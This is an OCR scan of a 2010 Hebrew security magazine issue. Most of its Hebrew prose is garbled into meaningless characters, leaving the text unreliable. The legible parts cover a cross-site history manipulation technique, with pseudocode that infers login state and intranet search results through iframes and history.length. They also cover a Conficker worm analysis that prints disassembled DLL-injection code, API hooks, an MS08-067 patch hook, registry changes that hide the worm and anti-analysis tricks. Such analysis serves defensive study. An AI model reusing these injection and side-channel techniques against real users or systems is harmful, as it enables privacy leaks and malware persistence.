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XSHM - Cross-Site History Manipulation
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.D1IYN D'9TOTA NMIVO'NN VPN 71N NN7ANNY N9INN

D'STA D'PNIY 7W NMIENn "Myl ON'NN [IYKRIN AI0N :NMNIV0' 2 7Y DY DAI0 MY DY
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.J2ya DN'Y7R W71 wnnunny DNNKRD 0N
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D'VOMPON |'ATY MIDN VPZ"AIN 'T' 7V MANI'A NXTN NMIVO'AN ,NWYNYT .NIAT NNIV0'N NIT 27
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qINAY DN2ARN [DINT W2 1YL NIRT 1120 D19 TOT 1NX,"MRAI72 VPR 1'0 NNIVOYNN VR AIX
["ONN D N7ANN L1DWW 7NN NXRT 0oy .SOP 11111 N 1507 X7 D 7y ,nn1oohn 7w vnn
(12227 NN 19N7 [N1,IT NADN 71X YT 201 RNR79R 707 'aTl 172 KID NNI0otn vn 7w RN
[P71 IRTN NXION DX 17¥11 1IYT 09NN D DFTYIN XK .D'YNNYNN 7w NIr'onoa viae7 SOP

VT NNLAX 'NNIMID'NN9AN N7'NP7 NNIR IUNYT 11'¥)

Y7121 [9TOT NNID WUNNWA D N1 :NRT NUIYD RNAIT *T 7V NMI00'N VPN WIN'WN DX YN
712! 72 D°TIR Y9N Y1190 MNRNN NNOIY WYUK 'W'Y qT7 Ui UNnNwnn Nyd .0IY 0'9T nw'nn?
197 DINKR/D'9T NWMNY W72 wnnwnn vawn ,6 DWW NI7a%1 nNI0on VP AIR IR DX DIAT?
N7ITA NI N2N N7 N71%Y wnnwnn NF0N9 Nyhag LT NRNIY DD LYII9N K7 vhanY
TNINT? DWAN 711 7V NOOANNY N9PNNT w0 TIKA YT N9 17 DMA7 17'981 D'YIon Dpna
nman a7onw axp'or 75 XSHM ik Cross-Site History Manipulation nxapg nmivo'nn

INTN NOPNNYT NONK I IXTD DTN N9IWN ,TIPN 7w Xan

Page A: If (CONDITION)
Redirect(Page B)

UIYUO T XIN NOPNNN v AOPIIN

Create IFRAME with src=Page B

Remember the current value of history.length

Change src of IFRAME to Page A

If the value of history.length is the same— then the CONDITION is TRUE

PowbdPE

N'ININ NN N7DNY ANPYON INKY MK YN L [IWRY TYXD NTAY A9PNnn T¥D |an? non
.0"PNN D'I0N 'KINENTNY 2 qT77 'K QTN NNAYNY RYR79R NRT R¥n XInW N redirect 1w
["21YNn XIN DNIX N9IYUNN NYpRP79X8NN A T IFRAME qima 79'w 19wn T nNoY? 710' y1isn ,nyd
IR DX TTIN Y90 .2 9T KN NMI00'NN 297 1IWNA NNKRN 12'RN DTN 27Waw 27 D'wl .qInY
AFRAME mix 1imn ‘X 7 nni9 73 W0 i IFRAME 3ima nno1 2 97w mnX nMIivonn 2N
TIV NMI00'NY7 qOoNIN' X7 TX ,NMIVO'NN 21 1WNA N7YN7 11d "2 T 2 q17 1y 'R T nT'N
IND AIRYM NMI00'NN IR ;)2 DX .O¥12 0T DK Y ['RY )2 D701 NNI00NNY DIYN 12K

.0"pnn redirect 7w 'RaNnY 3 7V T'ynw nn 'R T NNMO 197 A RINY

N7 'NINNY D 7V TP NN DT -TRRA 7TA0 DNI00TIN 2N IR TR, qT7 1y X7 'R 9T T
DY DP9 RINN YW W Y D TR 73R 19 T imn L7100 Qrinn LD OXR .0MpPNn
N'2N7 N71D' IRT NAYPT TXD NIXNAIT MY A'¥] XD .01IY D'AIT 2 YT 7w M1 -OnX Dipnn

.D'yNNYN 7¢ NITI0N NI'VIDA NYA9Y
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[IN2 YA12 0NN qIN7 QXN XN DNIX D'YNNYAN DRN TWWT? KN Y97 DIYNY DN2ATH TNN
N'YP'OX7 NNTTN WNNWN DX ,7uUnY? .wnnun 1IN 99 17000 X 12D N2y DNon n'ypr7ox7
nirn7 CSRF 7w payload nitw? 710t qpinn ™8 ,CSRF-7 noiwn 110 ¥ 7980w yIT1 ,N'Rj712
N'YZ'79RN 1IN WNNYNN NT 7w 010KVO 1727 NMYEN NIV'YA .NYXN 7Y N9PNNNY NIV
IT NU'W .oNerror YN'R 7w nnaTl "nyp 7ok 7w amn UTRN"-n NN 7Y ANmo 2y Niooann

NNITA YNNWNN TWUKD 711X NINNOIY [AINN MITRA NRIMN NI TN K7 D NTAY T'AN X7

nolvn n'nn n'xp"?mm XSHM nIrya wnnwn 0T 7w 010XKVO 172 7w NINX NV'W D'Y'¥YN 1IN
TR ARAN N'IAN NN X'l NT'NA DR ﬂ9|7]'1ﬁ7

If (!isAuthenticated())
Response.Redirect ("Login.aspx")

NI IR

<authentication mode="Forms">
<forms loginUrl="Login.aspx”/>
</authentication>http://he.wikipedia.org/wiki/Advanced Encryption Stand
ard

:D'NAN DFTYXN DR Y¥AY 710 Qpinn Nwd

Create IFRAME with src=‘Login.aspx’

Remember the current value of history.length

Change src of IFRAME to ‘Protected.aspx’

If the value of history.length remains the same— then a user is not authenticated

PwnNPE

7¥ qQT7 NNMYNn wnnun Nt K77 nTNOITR? NIYRAL M QTR 00TTAN DRY79RN D NN LD OX
NIYNYN .N¥PY79RN 1IN UNNwNn 7¢ NTH 010KRVO 1NN NYT7 NI7PA 710" QEINN ,wnnwn 'In'T
712' ANRN DWIEN NINKNA IR ,N9' NN RAAIT? A'¥NY INWYD INKR? w1727 710" ynnwnw 12Tn
[N'221 NI NIFYPI79XR ,2aK 0T L[N D'ITA YA1D DNXRY NIXPI79RND [N NN NIMR YR TIR 7277
7172 Facebook 1Ay nnaTn NIXN? 0'71>' DNR .NXRT N9PNN A107 Niviwn Facebook-1 Twitter

hin

NDIYN NXPZY7ON NN W yT) 73p7 XiIn , XSHM-n nopgnn NItya NIYY? MYOKRY qon 1T
2'A ,TAIVN DY IND DY 0MUNTD 9% D'TAIY WONY NMYWONAY WIIK 'AXWUN 71n11%7 Ndwn NKNN
'N2N 22'70 N7W1 ,WI9'N D'YXYAN TWKRD NNDwnl

http://Intranet/SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500

XSHM - Cross-Site History Manipulation

www.DigitalWhisper.co.il
17 2010 yan ,6 "2



http://www.checkmarx.com/Demo/XSHM.aspx
http://www.checkmarx.com/Demo/XSHM.aspx
http://www.checkmarx.com/Demo/XSHM.aspx
http://intranet/SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500
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IX) Not found 7w q17 n1rayn nw¥Z'79KRN TX ,WID'NN 7¢ DIMONP7 NIYY TAY X |'RI NT'Na
:D'NIN DFTYXN DR Y¥AY 710 QpIn 07X NI2'01 .(DT7nn wio'ny

Create IFRAME with src=‘NotFound.aspx’

Remember the current value of history.length

Change src of IFRAME to
‘SearchEmployee.aspx?name=Jon&SalaryFrom=3000&SalaryTo=3500’

4. If the value of history.length remains the same— then your search has no results

whN e

NINI DXPIORT DY DY QIR 'R WX TAY 75 NUNn Nnd nyT? 715! Qpinn ,nwyn?v >
w1 Yy NI7T? Dnworny XSHM 7w 00 o'onon Tiv D' XSHM 7w njzd0a i1 X 1w
TN INRNY KNP7 AWOK D 7V ,q7IN 7w QXp'79R INYT NDIWN N'¥7'79XN

OP"MAINT NYA NI72an NodN T 2y XSHM 7w nopninn NX vian? 0710 ,JNjpyd ,0I9TOTN 1Y
:0'NAN 0'9T7 W7 wnnwn DX ,7un? .aniuotinn

http://Sitel.com e
http://Site2.com e
http://Site3.com/Home.aspx e
http://Site3.com/Report.aspx e

ATNINN NMIVO'NN WD IR TX ,NNI00'NN L' AIX? wan Site3 JINn Report.aspx qTn Nl
O AINN |IN2 DA DRIYD D*NIITN 2 NTI90 NIYY? TwWoOR D ,4 X721 Site3 1y 2 nirn'? Wmx
D DTN 'I'WN DR Y¥A7 DN DI'R D9 TOT Nyt NRT oY .SOP [112m 1907 X721 nniooinn 1w
yine TP .0NI00'N 7Y 07 IR NIYNANWAY NN NIYZY9KR 7¢ NIMZRAIYGZI9] YAD! NIN

.N9PNNT7 D'YTIN NI'MY7 D'A"N 0'NN9AN 70 DT — NVRY79R T XN DT 27w NOPNNN NN

TP NIN1IY TN '0NIVIRD 220 .DINTA N9PNNYT NI 2AMY TIPN NINAN DX NINT? YT7? 2wN TINN
"opnp'y" owa N'7RYwr Nnan v N Xin XSHM -7 nisiwnw nifan ninty 7aionl giva oty
XSHM %y nymnnl Tip n1Iow inT nota TN [nAl

nm %y 7un%? .URL 1M 'mnmw 1y oy 20n1o 297 ¢t XSHM nopnn Tad piann? nin v
TN TIPA TV AWOKR ,wNNYN 'IN'T 7W 010RVO 172 YIINT

If ( 'isAuthenticated)
Redirect (‘Login.aspx?r=' + Random())
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Windows Server service-a (MS08-067) nw4?in 7i1¥1 T 2y pfawnn npfam el .1
QIN'y AWXd (RPC) ZInn NITIRS N72y5N NMWONNY ,n7u9nn Ndwn 7w (SVCHOST.EXE)
KW 01790787 Metasploit 7w 2T IwNNWA P'DAI7 "AND  .AWOINA D'N¥A7
AT NWRIN 7¥anwi HD Moore ™y ANJ1W ms08_067_netapi
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NMIXINY Brute Force-n N9pNN2 wnNWN NY72INN ,7w01 N1 qIn'w? npnynn [1'01 oX .(ADMINS)
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seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBBa:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:
seqgBen:

BBB3CCEY
8BB3CCEBS
@BB3CCES
BBB3CCEA
8BB3CCEB
8B8B3CCED
BBB3CCEBE
BBB3CCCY
BBB3CCCH
8BB3CCCY
8BB3CCCF
88B3CCD1
BBB3CCDG
88B3CCDY
88B3CCDA
88B3CCDB
88B3CCDC
8BB3CCE2
BBB3CCEY
BBB3CCEY
8BB3CCED
@BB3CCF3
BBB3CCF 4
BBB3CCFY9
BBB3CCFE
a@B3cDh oA
8BB3CD A6
88B3CD A7
88B3CDAY
@@B3CDAC
88B3CDBF
a@B3cb1a
a8B3cD11
a@B3cD12
88B3CD15
88B3CD18
88B3CD1B
a8B3cD21
88B3CD23
a@B3cD29
a@B3cbz2c
88B3CD2D
88B3CD2F
@@B3CD3A
88B3CD33
8BB3CD36
88B3CD37
8BB3CD38
88B3CD3B

pop ecx
push [ebp+ProcessID]
mov esi, eax
push edi
push 2Ah
inc esi
call ds :0penProcess | 1n2i1n '7nnn NNme
cmp eax, edi
mowv [ebp+hProcess], eax |yw yraynn namw
jz loc_B3CE3A4
push 48h
push 30886h
lea ecx, [esi+26h]
push eCx
push edi
push eax
| call ds:UirtualAllocEx | N30 1'INNA NITh IRYED
cmp eax, edli
mowv [ebp+AllocatedBuffer], eax
jz close_quit
mov edi, ds:GetHoduleHandlen
push ebx
push offset aLoadlibrarya ; "LoadLibraryn”
push otftset akerneldZ_dll ; “kerneldZ . dll™
call edi ; GetModuleHandlen
mov ebx, ds:GetProcAddress
push eax
call ebx : GetProcAddress
mov [ebp+lpLoadLibraryn], eax
lea eax, [ebp+HumberOfBytesWritten]
push eax
inc esi
push esi
push [ebp+ConfickerDl1Filename] -nYw ownl aman e apnyn
push [ebp+AllocatedBuffer] Conficker DLL
push [ebp+hProcess]
call ds:WriteProcessiemory
test eax, eax
jz loc_B3CE19
lea eax, [ebp+var 28]
push eax -0 [2In 7w Apnya
xor esi, esi DLL
push esi
push [ebp+AllocatedBuffer] nl!ﬂ“?nl1lﬁy
push [ebp+lpLoadLibraryfA] LoadLibrary
push esi nYmiIsa m Sy nxal
push esi CreateRemote Thread
push [ebp+hProcess]
call ds:CreateRemoteThread

("Threat Experts Blog" -n nnp'21 niznin namnn)

NNON NY7INN N7NNN 1IN .A7V9NN Ndn 7w API NIY19 [N IT NR0'92 NINRINNAN NI'Y21190
VirtualAllocEX M1Tya 17w NIAMdN aAnna [N2'T n¥pn ,OpenProcess NITyVa Ty'N )'7NN DX
N'N7219N 7Y NAIMDN DX A'WN XD PN NK7? .Conficker DLL-7 X 2'man DX DINY DIWANI
-2 win'y T 2V pton )'70N 7w Niamd ann In? DLL ivu? ma nntvaw LoadLlibraryA
win'wn T 2v DLL-n yalp pIin nX yoni (Windows n'7y9nin ndwn Dy yvanw yalye) kernel32.dll
n>WwNN )'70N 7w NIAIMdN 2NN YW Theard ¥ CreateRemoteThread NIty .IT n'¥j71192

.Conficker DLL-n nX Yyl
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m7wn

:N7V9NN NdWN2 DYI'W YXAY NAN RPN ,NN0NT 172 L, 2INNK TNW? D

N'ONIVIX 72U9IMN (service) NOWNN W NIN'WI NNXY DX NNWIN XD L,7IDNK TW? 1D L1
:N2N NN9NN NNN DY IY2 0D N90IN T 7V ,Ndwnin Nyl

|HKLM\SYSTEM\CurrentControlSet\Services

.Windows v Firewall-n 71012 .2

NX ,D"VNIVIX DTV N702N NY7INN Windows 7w nnuar ATy TNY? niny .3
.NILA 2¥N2 NO>WNN NXIN7 NNWOXN DRI Windows Defender
J0wnn 7Y (restore points) MITNWN NITIZ 7W DN X'N 90N NIMwAY T 4
.wTnn DLL-0 N7 naaninn nimyn Nyt 5
.0IN'I-'VIX NIDIN 12D NNYoN7 DNA? 0'710'w 0D™YNN nn'on .6
.ON'-'VIX NNAN NNXY? nwa nnon .7
%577

NOWNY NOTIN NYYINY INXK7 .0NXY DX Y'9O071 NIDONNT DT XD ,00170 ,NY2IN KN 'oain
NINQN D'DOTA NNYY DX Y'ON X' ,N7¢ NITIYNN DX N'0aN7 *TO2 NI71von 75 R Nyxani

NTN NIP'OLY WIN'YI D'NIND D'0YI9 DY DAYNN WID'N7 N'NI5N nwan 7D npno .1
27 0TI NNINY DpaTI
4 NNNID PPN ,NNT IWOKT D .NIWD DAl NIZ7D DA WNWn 1jp'9lijpa VIAIYW wnn
o1 LIIDI NIFTRN X'N DN TCP 7w 2-1 UDP 7w D'0NID 2 :DNYW MWD wIN'W? D'0NID
NP wnw'y

NP'Myn T8I 0'91NN 0101 0T 0IPNN 7¢ 0NN AN R'DIEN ,NTNN 27w TNK? .2
.NPATNN 27w ININY '9D DYWY NNxy
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NYDINT DWRANWR 72 NATPNR MW

Payload-i1 nx2n

D2ININ NIAYN DX DNNIN N 21 DNY NA'TRA ,D'01I9 4 NNNID 129117 L] 197 ININY '9)
MIYPN] NYUNNYUN XN, NN K'D DAY N'N1I9N NIYID NAXY NX'DN Ij'911R UKD .I78 D'VII9]
07 NNl 27 0TI DIRINY AW2INN DX 72X 017907RN NNYW NIYYAR]Y |27 DTN P2P

2710 7y (RPC) 7InNn NNITYNS N7Y9n07 NNYOX N'NN 7Ny

IX,(0179077RN NX 17 N7IY XINY NNNIX NIXT) INK YIA AWNNY 2ITN7 N01N TNX VIA1 2WNN TWUKD
N0V AWNN INIRY |'AN XIN ,WNNYN XIN DA 12Y 0'17907X INIX DX 17 IN7WW DNTA YI21 QWNnY
vy Payload-n NX I'7X 1ITN7 NOYW 2wNNY N7IW XIN AN MINA D71 VI XN 02 11298 1Ny

.D'YI2IN YN awnn 73 |12 Y9I Payload-nw 1) ,17¥X

Anti-Analyzing

NIDIN2 2awNnnn NY72Imn N1on? 0D 21707 19010 0roN'-'uaxkn NINAN 12 2¥N7 yan? nan 7y
190NN D'LINTR 217D7 20 NYANN NN .W2IMn DR NM7 N'xnY? orfondn pin N
DN ,N7¥ Deploy-n yaIp v IX 1'% DTN V2NN 1'7nnn 7v Debugging vIX'a AT OX ,0'MINN
IN NY7INN NIXONAN NNNXA NYIAIN NTAYNA NO1INI NRXI' VTN NMIAVN NNl Sniffing vix'a Nt

JW2INN D202 0D'I'YN NINYI DT DX

DX NINTAN DAYNN NINWA - "Security-lab" nndpnn NimTayna yxian niNan 27w 0pnn aNa
nIayn 79547 Sniffing 0'yxann 0700 700,07 1190 'R 7W ApYNn NNN NIRYNIN VINVI'RN DY
JW7IMN ¥ AT AWNN2 0YN1I9 DDY7NNA D'I'WA NINYIENITRD D'YXINN 0701 0701 nwan

"IXY NI7IYoN |NIX NKX yxa'm p'on'in pin v ﬂlUPn'? TDQ 0212220 190N INYW" NY7INN X
[N UINUVY'RN YN NYYN nyInNnY TIN NINdI DN L'oMp TIKN XIN nyv72imn nina 2w Nhe
Jwhinn apin 'ar N'INY 71T nal nwy! NY72INN NN N2 DN'NAN Y NITA T'RN 0yvnd

DN NN N0 72V NIYWENT 0NN X' WNNWN DN DMR'WN D12A0N
.N7U9NN NDYN 7Y DIYNIN IYA DRIY DDV 7W NTOX/NAMD NIKYAN 'Y e
JWIINN 7w win'wa 0'RYNIN D'YAZN 7Y DR'NNE RN DIRYIN Y e
.N7U9NN NDIYN DRIY 07001 NDWWN NINjAI97 Hooking yixa e
JW7IMN N7¥an NNIN NW2INN nnte 1aY 'orvoon DI-7 Hooking yix'a e

.N7U9NN NDWN W ITNYWI 1AM IDTY NNVAX 'NN'Y 7101 e
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JW7Inn TiR'? Obfuscation YW N2 nTma win'y e
.OXRNN2 DI XM 212200 YW DIYY X7 IN DPIXRI0YT D220 XY NW7INN ORD DT @

NINNoN win'wi (RSA-n [123) "D'T21" N19¥N "MNMATR NNN [OXI MIYPN YNV WIN'Y e
.0'NIQA N19¥N

"Nimn " DN DR NPTTAEN7Y9NN NDYNA O'%IN DDY7NNN 110 e

.N7y5NN Nd>wn 7w Firewall-n N1JIN 120 07 7w TN 2917

QWS W 2VVNP 2O W

NNU'N RN DO NdWN YW DIwnn Iya nyxan ANt nY7nng ntin'wan 77nd
:D'N2N NINNOAN NNN DDIWN NN NIWNR/Nj7Nin

NNONN NZ'nNNn e

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot

NoXIN wm'wn) ."Safemode" axna awnnn 7w wInNn 72INNK y¥a7 wnnwninn vion? 'ma
(2006 nmiwa "W32/Bagle.fo@MM" oin'in 7w N NRTN N7002 [IWURIN

NN5N2 DDWN NN'Y e

HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\A
dvanced\Folder\Hidden\

wUnnunin oX Daw D (show hidden files and folders-n NNWoX 2y 'RANXN wn 10T)
.DNIX 2'¥N X7 NdWNN -N>wna (ATTRIB +H) D'noinn 0'¥agn DX a'¥n'7 1N

TcpNumConnections :WWn 'N'y e

NN5nNN NNn

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\

TCP/IP mia'n 7¥ N'27'Nn NINdN NX WWOKY 11 ("78n'opznn 1win) O0FFFFFE-7
.nINn2a

:NNS5N7 0DV NO0IN e

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services
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NN7Y5N DY TN [YuN71I NDWNN 7w Services-N NN'WI7 012'n7 'O

:NN95N7 0DV N90IN e

|HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost

NetpwPathCanonicalize 7& nimn Tign n''nn

-0 DN 900 9w nxn) Svchost.exe-n 7NN 0T NdwnN N7W5N1 [yon? 1O
ao0n 7w "Nk Y RANR 7NN (N 0T R n7v9nn ndwna Svchost.exe
.N7U5NN NdIYN NI'YL AT DNIX (VIO KNI N7U9NN NdIYN1A 070N

NX NTM nntn ny72inn (ADVAPI32.dIl nnn) "RegSetKeySecurity" n'¥jz1192 win'win "y 0112
(Services-n Nn'wA [120 D'DIY) DIYAN IV D'O'YO0 DDV II'WN D'YUNNYAN 7707 NIRWANN
X7 "Administrators" N¥IApn D'YNNwN? Daw D> — System WNNWN7? 71 DTN ARWIN ANl
.0N2 NISX?/NNYY nwni Nt

AW DMI'WN AR ,DIYNIN IYA DAY D' NIvyan Conficker-n Ny7IN 7w NiIv NINON2

Dy7inn

NnoMo |Nan ,7'7n3 wnant

nsawn v3%%an /3w neepnst Hooking

1M 2% Hooking nyx¥an pa X'N NIy NY2INNY NI71yonn p7nd ,0mTIEn DTNy ANdY '9D
INQAIT? ,D1W DN 70N NDWN NINYID

NetpwPathCanonicalize N'¥j72197 X'n Ny¥an NY2INNY N'1>INN Hook-n N71Iyo e

'RANKRN API-n X'l netapi32.dll yaizn nnn nionikn NetpwPathCanonicalize n'¥j7119n
.(MS08-067) ny2INn N7¥In NNIXY nYW7INN NN 1AW RPC-n 7y

NX Naynn JMP NTIPO] NYRII9N 7W DIIWRIN D'UTAN NYNN DX N9'Y7nn Ny7Inn
JW7IMN NXON 7Y 'RINKRD TIZ7 Taynn

NetpwPathCanonicalize 7& Tign n'7'nn

NY7INn N>V 1NN

5B86A259  SBFF MOV EDI,EDI 5B86A259 E9 AOBO28A6 JMP OLAFS2FE

S5B86A25B 55 PUSH EBP

S5B86AZ5C SBEC MOV EBP,ESP

EBBGAZ5E 53 PUSH EBX EBBEAZSE 53 PUSH EBX

SB86A25F  8B5D 14 MOV EBX,DWORD PTR SS:[BBP+14] 5BB6A25F BB5SD 14 MOV EBX,DWORD PTR S5:[EBP+14]

SB86A262 56 PUSH ESI SBB6A262 56 PUSH ESI

SB86RA2ZA3 57 PUSH EDI SBB6AZE3 57 PUSH EDI

SB86A264  33FF XOR EDI,EDI SBB6A264 33FF XOR EDI,EDI

SB86A266  3BDF CMP EBX,EDI SBB6A266 3BDF CMP EBX,EDI

SE86A268  OFB5 SEDEO000 JNZ NETAPI32.S5BB780FC SBB6A268 0F85 BEDE0000 JNZ NETAPI32.5B8780FC
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,Honeynet u7'Mon 7w "Know Your Enemy: Containing Conficker" ['"I¥xnn WTnXNnnn nNp'2a nipnn nimnn)

(Tillmann Werner-1 Felix Leder "y 11j7na and)

:0'901 DLL '¥ap (ONI' X NINTPNA NIXONAL) NY2IR? Hooking Ni7Iyo nyxan ny7imn ,qona

NINAN NINjI97 Hooking N71vo e
e DnsQuery_A
e DnsQuery_UTF8
e DnsQuery W

e Query_Main

NINNNN yiNY? *12 nana X0 7" n71iyon non .dnsapi.dil yalpn nnn nnoniknn
X [DTY? ON'-'UINN NIDIN DX D'YNAYNAN D'0N'-'0IRN NINAN 'MIY7 NYa? nmipnn

.NNINT? DN YN )21 [N NIYRY79X8] NIMYzn NIMNN N

120 ,"NIroN 7" nirxpa9? Hooking NIy Tyl e
e NtQuerylnformationProcess
e InetnetGetConnectedState

e Sendto

X Nivnwun WX (Mnknna) ws2_32.dll -1 ntdil.dll, wininet.dll D'¥apa nnonixnn

:NDYN2 D'WN'RI DDY70N 7Y YT a'wn? n72yonn ndwn

nIN1 ,0W) .N2IWNA 070N NITIK YT NAwN 2V 'RINX - NtQuerylnformationProcess o

(i1 PEB
U"Internet dialup" NyxI2 DXN NP'TA NMYWONN - InetnetGetConnectedState e

.NINNNNA '9'¥90 TV'7 TN NN'™W 7V NI'RONX - Sendto @
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Obfuscation-2 @5y NITBRIVI NIIIDK 195

NNOoMA ,n'yni NY72IMn 7w DMwn NNoNA 1981 Obfuscation-2 MMM DMIvAYAN D'WIN'WN
D'2'ynn 0'9'won TNXR .Honeypots Niy¥xnxa Sophos n1an 7w pnpinn ™y nn7ann nmwn
,12) "Red Pill" ndnn (112102 nUnnwn NY72INny XN NNann NIk DOginn 7w n"im aw
NN NNN Y1 70NN DRN ZITA7 TV QWK R17907 0IWD 1120 — (070NN NIXON NXIYNA
— NINILY' D20 N2 DM RNY "N NY7NNE DTNAY KN faynn NN DRI
NANINN NNYD R'NY DNA MY 91X NANINN AN'A X' — DNIK NNAY NIIFGY NNA0NA IR
Joanna "y 2004 niwa axin NN 2PN LUVIYWOIL 'VATXR NIN Red Pill-n jrya .nwao nafaoa

‘AN ,Rutkowska

"Red Pill... or how to detect VMM using (almost) one CPU instruction"
Nk ,Val Smith-1 Danny Quist owa Offensive Computing N'7'nz ™Man 1w ™"y pn AINKY7? NNIDI
"Detecting the Presence of Virtual Machines Using the Local Data Table"

N'D D' NYT? 07 ny7ann LLDT-n v (WRn DWIT'N) DRIY DD A N0IYD ARNIYD T Y
21" NI -7"10 120 DR 0909 7INE 0T ,NNNN AT NINYNA NY2INN 'OIN DT [DINA .AXD
[TV X ,720 Code Obfuscation 7¥ N9 NaITA X7 .02T DIW Yy¥an X7W TIipn NINYA ' AT 72117
Obfuscation NI71Y9 NY2INN NxIF WX ,9002 DW2NN DN 2V AYpR' AWUXR 17001 NI
XIXN7 D'ON'IN MPIN 7V NIYRNYI TR DIRNP DHONYT "1 NY2INN nwnNNwn [N API-N NINMNRY

JIMIEAN [N DX

NIROR S211A1RY FTIDXST 1Al

DX |2 ,NNVN 19017 LINVI'RN DY 1A 7Y DN N7API NNYYA YIN'Y NY¥IN 17'917n NY2IN
IX (DI D'ION MY N9PNN 1ND) VIXAY? NIMPo1 ,NY72IMn 7w n9'pnn Payload [>Ty Nai
.0'9011 NP NXR'¥N? NYIN N7N01

DOOT MWK ,MIYPN YNV DYV NTAYA 2V INNID @'91pn NY'72IN -Nd TV 207 ' [NIY '9D
NO'PNN MLVPI [IDTY -7wN? 1D ,0MIDTY NINY NY7INN X' OXD DYI0N AT 719 72 NPT XN
NNUVIN 'R70 NINY' VDIONP'™MI NT'NA DA D1 ,D'WTN DAYNN OIZN7 'O WNNYN NY72Inn naw
NYUTN NW7IN7 N9'PN Y10 DINA 770w TN [IDTY NIW? ny7imn X v -qiun RPC ININY

JIDTIVN NITAY DA 7277 )21 ,Ndwna

ANX7? Mwn NIk ,01' 0a) MD6 DNMIYRN 7Y 001NN Hashing NIM'X 12211 1wn™mM @'o11pn Ny
TN AUN) N2TNY 0 — 5 (X1 NI yivan MD nnoswnn Hashing-n DNMA7XR ,NY7IMn Nopnn
nNon 7¢ wm'wa RC4-1dmn Stream Cipher-n DNMNYX NNN N2y 2N yTnNn (T N¥NM9?
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MY NN9N NNTYA N0 T NN XYY 7 RSA-N DNNIAPR 7w winmi 512-bit 71122 ni1oxn
.[9XIMN [IDTYN Yal7 DY TN DN7W1 AN'D D707 AN'NNN '9170 'W72Im 7907 qnivnin

I¥ZINY D'MIYNN TNXR? NYA NNYD RN -WTN [IDTY DONID D AR NNYA R'9I7N NY7IN TWUXD
W IR 970N X7 012 DA DIYIE T NIY K7 YyTN D DIRTINEAYNNT? INIR 2T LI n71y9Y
- TOINIXR PN YAIZNl T2 VTN DX W K7 DA DIY D K¥N]E 272) Yalznl TN L1221 DX
ANMITY2 NNYY NIX NDTYAL INIR NXNN ANV DW2imn

SRI j1IXN 7w Mmxn Maona ,2009 kN2 N 197 pIrTa Do Y'7nnn 775 7w Nt naon
vana o'l Infection Logs DON9nI Honeypots NiMwA / nidwn 7'vonn INTERNATIONAL
:DN'Y7Y 1WXID WK NI9PNNY NIIY0Y/NIDPNNY

"AN ANALYSIS OF CONFICKER'S LOGIC AND RENDEZVOUS POINTS"

Windows Binary enc.hin S
o - Digitally
(e o [ gAY signed and
RC4(hinexe M)  [FAiZa]  Append Sig o encrypted
A s payload
epriv ~
HASH(bin exe) = Moomod Mo = Sig
M (512-hit)
_ epub
IINEEEEENEEEEEE ] Publll: Sig deN :M
EEERREEERRRRRRAS E}{ICII:IT'IET'It I:E:I l
3 Public Bin.exe = RC4{enc.hin M
NN moduius (M) ': M) :
< 5ig
%‘E”ft.‘ﬁfe It HASH(bin.exe) = M Digitally signed
QUHCHET then and Encrypted
Bifafy Shellexecute() payload

T 7V NNIK 0NNY D'ON'IN ZINN YIIN7 NY2INn DX INY7¥0 17X DIN'X 11210 79 winn 1yl
NY7IM MXI 101 ,NNNKRT 7R D'DYTA WIN'Y 2Ry .NNIR MIXYY ITYNRY 020R' "D TY" N
JWRINN NXOIXVY D'0N'IN RINNM YINY AN '0170
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22012 3% 12 ap 2%y 7 N

.02 TIXN N2 -]AINd X'A NAIYNN

D'DX7 27'wa 0177 1701' DNYY D'VIA YWY NNPZN DRI XD RP9AIR X 7 INpvn nonn
%¢ NN Nind oy DDOS 7y aiwn%? T'non) DDOS NI9pNn? NIV'NO ,OX90 NXON IND D''90D

N7 DI DMWY 7Y 0¥ap Nip'nnY? nivno L(n'on

TNT IX NIYXAXA D'YXIANN D'YWON 'A10 70 NIX IRNNN Awin XIn Cyber Crime IX MW 'wwo
IN D90 DIOND AN A'RTA [DINA [NIRNAL WIXPNT? DT NY'WD 210 19N [NNRN 1YYl .awnnn
nMINN 90> TIXA NN 07w7 DM (Cyber-Mafia DA D'X171) 178 D'YVWOL D'POIVY DRIAN
RBN-n NX NAAIT? INP .0NDIX7 ‘07N DYon yTn 17'9X IX D'W7IM NA'MD ,0'01IA NINYA
N'DN DN7Y NINANAN .07V 0'2man Cyber-mafia-n 1aaxn TnNX ,(Russian Business Network)
X TTIY DT 12X .Storm NNIXYN D'VIAN NYIQ D'07IYY 17X DN D D'DMYN N A NFNT N2

T2 TINN N2IN 71171 .900 TIRN N2N DNY NONDNYW NY7IN NNIXK NIX 1IX'? Storm NY'2INn aimn

Rank

W00~ & WM =

10

ltem

Credit cards
Bank accounts
email passwords
Mailers

Email addresses i

Proxies
Full identity
Scams

Social Security
Numbers

Compromised Uni%

shells

DTN AnarT? |N'NN D'S%N X

Percentage Range of prices
22 i $0.50-95

21 i $30-$400

8 i $1-$350

8 i $8-$10

8 ! $2/MB - $4/MB
6 i $0.50-%$3

6 i $10-%150

6 : $10/week

3 $5-87

N

$2-%10

Breakdown of goods available for sale on underground economy servers,
{Source: Symantec Corporation, 2007)

(newcriminologist.com -n nj?'71)
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21570

[INN W'PWN '9117 AN JP'Izn NY7IN N7VI9 N2 NNONIMNN NTNN DWINNYT K7W TWOKX 'K
N> DMIWTN DNNNIAX 1IYNM ,NINTENN NIV'WA IWANWN ,NNIAY TIKN NNY2 NY7IN 01N YT
